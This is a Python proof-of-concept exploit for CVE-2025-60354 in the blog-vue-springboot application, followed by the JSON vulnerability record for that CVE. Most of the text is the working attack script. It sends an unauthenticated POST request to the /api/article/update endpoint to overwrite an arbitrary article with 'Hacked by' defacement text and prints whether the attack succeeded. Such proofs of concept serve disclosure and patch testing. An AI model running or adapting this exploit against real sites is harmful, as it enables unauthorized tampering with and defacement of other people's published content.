CVE-2025-60354

import requests import json # CVE-2025-60354 PoC - Unauthorized Article Modification in blog-vue-springboot # This PoC demonstrates the vulnerability that allows modification of arbitrary articles TARGET_URL = "http://target-server.com" # Replace with target URL VULNERABLE_ENDPOINT = "/api/article/update" # Vulnerable endpoint # Target article ID to modify TARGET_ARTICLE_ID = 1 # Malicious content to inject malicious_payload = { "id": TARGET_ARTICLE_ID, "title": "Hacked by CVE-2025-60354", "content": "This article has been modified by an unauthorized attacker.", "author": "attacker" } def exploit_unauthorized_modification(): """ Exploit function for CVE-2025-60354 This vulnerability allows unauthenticated modification of arbitrary articles """ headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Send malicious request without authentication response = requests.post( f"{TARGET_URL}{VULNERABLE_ENDPOINT}", headers=headers, json=malicious_payload, timeout=10 ) print(f"[*] Request sent to {TARGET_URL}{VULNERABLE_ENDPOINT}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: result = response.json() print(f"[+] Exploit successful!") print(f"[+] Response: {json.dumps(result, indent=2)}") return True else: print(f"[-] Exploit failed. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-60354 PoC - Unauthorized Article Modification") print("Target: blog-vue-springboot") print("=" * 60) exploit_unauthorized_modification()

{"cve": {"id": "CVE-2025-60354", "sourceIdentifier": "[email protected]", "published": "2025-10-28T18:15:38.853", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthorized modification of arbitrary articles vulnerability exists in blog-vue-springboot."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/line2222/vuln/issues/3", "source": "[email protected]"}]}}